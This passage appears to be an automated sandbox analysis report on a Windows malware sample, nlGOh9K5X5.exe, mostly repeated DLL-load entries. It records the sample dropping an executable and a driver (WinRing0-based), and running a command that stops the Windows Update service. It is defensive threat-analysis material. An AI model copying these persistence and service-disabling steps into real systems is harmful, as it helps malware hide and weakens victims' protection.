Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: nlGOh9K5X5.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: nlGOh9K5X5.exe

Static file information: File size 7198720 > 1048576

Source: nlGOh9K5X5.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x6c0600

Source: nlGOh9K5X5.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: mfpmikspvfzi.exe, 00000021.00000003.1782446141.0000024320770000.00000004.00000001.00020000.00000000.sdmp

Source: nlGOh9K5X5.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: nlGOh9K5X5.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: nlGOh9K5X5.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: nlGOh9K5X5.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: nlGOh9K5X5.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: nlGOh9K5X5.exe	Static PE information: section name: .00cfg
Source: mfpmikspvfzi.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\conhost.exe

Code function: 56_2_0000000140001394 push qword ptr [0000000140009004h]; ret

56_2_0000000140001403

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

File created: C:\Windows\TEMP\amhsyemgqpki.sys

Jump to behavior

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	File created: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe			Jump to dropped file
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	File created: C:\Windows\Temp\amhsyemgqpki.sys			Jump to dropped file

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe

File created: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

Jump to dropped file

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

File created: C:\Windows\Temp\amhsyemgqpki.sys

Jump to dropped file

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
